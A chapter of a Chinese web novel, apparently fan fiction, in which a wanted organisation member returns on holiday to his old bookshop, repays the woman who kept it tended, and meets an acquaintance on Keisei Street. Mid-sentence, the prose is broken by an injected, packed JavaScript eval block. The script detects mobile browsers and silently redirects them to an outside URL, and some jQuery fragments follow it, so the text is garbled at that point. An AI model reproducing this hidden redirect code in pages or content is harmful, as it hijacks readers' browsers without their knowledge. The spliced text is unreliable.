132.想喝酒的干部
作品:《被正式确诊为渣男》 这边港口的空气很清新,海风中没有太多和横滨港一样鲜明的气味。栏杆被时间拂过,边角有铁锈出现。
修建在港口的厂房外层有的换了新漆,和几年前的样子有些许区别;也有的从矮变高,新添了几层,但可能是违章建筑;有的被拆迁;还有厂房仓库几年后摇身一变,成了某家搬运公司的办公地点。奇怪的是,这座城镇的居民不像横滨,几乎没人养成在港口附近散步的习惯。
弥津先生,你最初想和怎么样的人在一起?
是想要长相优越的?还是品行端正的?或者学识渊博的。
和佐久间弥津并肩站在港口吹风的人这么问他。他上手捏了捏身边人的脸,没用劲,只表示“谨言慎行”的意思。
“这种问题,还是不要问了,我也不知道答案。”
如果他没有成为登上通缉令的组织成员,或许会考虑这样的问题。但直到苏枋不顾一切地去横滨找他之前,他才第一次正视这个问题。
“难道以前没人对你表示这种好感?”苏枋隼飞不是很信。
有什么能让旁人对弥津先生退避三舍,恐怕只有身份原因。
“……我不太关心这方面。”
佐久间弥津找了个理由。
“是啊,正是因为你不关心这方面,那时候才一再想要拒绝我呢。”
佐久间弥津直视着平静的水面,想装作没听到,但苏枋按着他的肩膀,把他转向自己。他最受不了苏枋这样对他,他整个人快要被如潮水般暴涨的歉意淹没了。
“总是被拒绝的话,就算是我,也会有点伤心的。”
他听着这种话,有点不敢看苏枋的眼神……他会尽力补偿的,苏枋想要什么都可以,只要是和组织无关的事,他什么都能答应,什么都能做到。
要说对他展露好感的人,是指什么样的好感。是谄媚,阿谀奉承的“好感”,还是不带一点功利的感情。
“这几种人都出现过吗?”
佐久间弥津不太记得了。他坚决否认旁人对他——或者对组织成员——的“杀人狂”指控,也同样否认自己是“渣男”。
他回答说,“可能都有吧。但我用不着记住每一个见过的人。”
对“佐久间弥津”抱有任何想法的人都有可能存在。谄媚的人也好,想亲近他的人也罢,只要承认“佐久间弥津”容易被推上法庭的黑色成就和其为人,就会存在出于各种理由想接近他的人。
那么,什么样的人才能获得你的偏爱?听起来不容易。
瞧着眼前这个自说自话,表面发问实则暗暗炫耀的人,佐久间弥津又上手故技重施。这次稍微捏得重了点,不过同样连红印都没有留下。
“随缘吧。但如果是选择工作中的下属,能不能听从命令就很重要了。”
回到这里,佐久间弥津的精神确实放松了很多。这里没人能认出他的其他身份,因为不是所有人都对异能力者通缉犯感兴趣。一定要有什么人认识他,也只会站在书店外目瞪口呆地看着几年没见的他。
傍晚时分,他们回到了阔别几年的书店。
招牌还在,门锁还是他当年离开前的那款,但店里的书一本都没剩——这是他的安排。原本摆满各类书籍的书柜,供给不存在的客人在店里借书读的桌子,被摆上了花盆。
他以前放各种设备的纯白书桌上平铺了几大张超市折扣商品的宣传海报,用来挡灰尘。
“因为不想让店面因为失去主人而看起来死气沉沉的,橘小姐决定种几盆花,我和其他人都赞同这样的想法。而且,我想你一定会同意的。”
佐久间弥津确实会同意。
如果他真的永不返程,这里就会交给其他人随意处置。正因为有人常常来店里浇花,两年多没对外打开的书店才没有被堆积的灰尘搞得无处下脚。地面挺干净,花盆上不可避免的有水渍,但放花盆的书架不见脏污,想必是时常清洁。小隔间的地面没有外面干净,但两者的区别不过是一周扫一次和两周扫一次的区别。
有过路的行人朝这间店面投来好奇的视线。有人认出了苏枋隼飞,认出他是几年前就读于风铃的学生,也有中年人认出了站在书架旁边观察那一盆萌发新芽的月季花的青年,正是书店以前来历神秘的店主。
不过,二人最熟悉的客人,还是悉心培养这些花花草草的橘琴叶本人。
提着满满当当装着食材的塑料袋,站在街道中央,扭头看着书店里的二人,橘琴叶的眼神肉眼可见的呆滞。
苏枋在前几年也会帮她一起打理花草,出现在店里一点都不奇怪。
但另一个,眼瞳里的玫红色彩和青年身边的月季花有点像。
……这不是佐久间先生吗?
她在心里惊呼。好几年没见了!
*
第二天一早,绿萝咖啡馆刚开门,青年又提着一个箱子上门。
昨日回家前,佐久间弥津特意出门买了一件家庭用的小零钱箱。他在里面放了数额不同的纸钞还有硬币,再稍微做旧成生活中用过的普通零钱箱。赶在第二日店里还没多少客人的时候,他把这份最直白的回礼带给了这几年一直帮他收拾店面的橘琴叶小姐。
那本不是橘小姐的职责,也料想到只是出于善意才会那么做的橘小姐会拒绝这份其实和她的行为相比,有点微不足道的回礼。他赚这箱零钱很快的。
于是他说,“就当是我未来两年继续‘雇佣’你帮忙打理植物的佣金。金额是按正常的工资计算的。”
若不这么说,橘琴叶小姐是绝对不会收。
昨天一见,橘小姐问他这几年是不是一直在外地工作。
他不便多聊,便点头说是的。
“这次回来,是要继续开店吗,还是说,只是回来看看……”
佐久间弥津在橘琴叶稍显惋惜的目光里摇摇头,“我目前在休假,所以,有时间回来。”
哦……你们是一起回来的吗?
“嗯。”
哪怕他点头承认,橘琴叶小姐也没想到别处。
苏枋在这几年里仍旧和自己的同学保持着联络,难得回来,便约好见一面。午后目送苏枋出门,他静静坐了一会儿,等到三点,立马起身出门。
目的地是京成街,他记忆里最适合他的地方。
白日饮酒没有太多情调可言,所以他沿路慢慢散步,仔细感受这段来之不易的闲暇时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124132|186252||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光,不那么急于去居酒屋。
不仅是横滨在下雨,虽然今日日光正盛,但天气预报显示,后天这里也可能下雨。当天,尽量避免出门吧。
老实说,只看佐久间弥津对待寻找他的人的方式,就知道他不是很擅长处理和故人的相逢场景。但说他不懂察言观色,性情孤僻,不会与人相处,这也不对,不然他要怎么摸清醉酒后的首领的心思。
他保持沉默,有时候也忘记自己已经能说话,但并非是因为伤病有心理阴影,只是习惯了在心里把想法过一遍。
所谓伤病,算不了什么,能治的不用操心,治不了的也不用操心,一味沉溺于过往的伤痛才是耽误时间——耽误休息的时间,耽误玩乐的时间,耽误赚钱的时间。
于是,他和从他身边经过然后猛地回头的人面面相觑,能做出的反应只是点了点头,说,“好久不见。”
震惊中的青年久久地沉默着。同行的伙伴从旁边的便利店出来,奇怪地看着青年像被冻僵似一动不动,顺着青年的视线看向他。
拨开浮在记忆表面的灰尘,从久远的记忆中找到关于他的部分,瞬间陷入一模一样的状态中,像被拔掉发条的木偶人。
“你、你……”中村干路说话都变得磕磕巴巴。
“是我。”真的要这么震惊?让他有点不好意思了。
“那你……”
“我在找居酒屋。”
哦!
要不要来店里坐坐!
佐久间弥津想婉拒。因为他记得中村的店不是完全用来喝酒的地方,还有歌手和舞者的表演,如果必须要在这种场合与居酒屋之间选一个,他还是想去居酒屋那种纯粹的用来喝酒的地方。
“好几年没见了!”
是的,两年多了。
六方一座,和风铃高中的学生不同的本地集会社团。看中村的气色和状态,最近几年似乎过得还不错,没有肉眼可见的困顿。但他的确不擅长和中村这样的人相处……太热情了。
京成街的样子没太多变化,白日里看着不太热闹,彩灯灯牌在白天暗着。逢魔之时才会亮起,为夜晚营造出金碧辉煌的感觉。
问起他这几年在外地的生活,他用同样的话术,说自己在外地工作,最近在休假,所以回来看看。
中村在工作的店还在准备不久后的营业,他这么留在店里,好像不是很合适。
不过,他在店里看到好些熟人……也许称不上“熟人”,但称得上“一面之缘”。是几年前见过的六方一座的成员和店里的员工。眼里满是惊讶,和他搭话,他也一一回答。
这两年,这里的生活还好吗,他问。
普通人——他是指既没有诞生在注定接过何种使命的家族,又没有因为先天的能力而生活在混乱与纷争之中的人——最想要的难道不是平安的日常生活吗?哪怕是最富足的生活也少不了麻烦。
与一念决定生死,时刻与危险相伴的生活相比,大多数人只要过着平静的生活,就已经很幸福了。如果他不是现在的身份,人生的追求恐怕也是如此。
生活在这座城镇的人们不也为这个目标而努力吗。
哪怕人生中常常事与愿违。

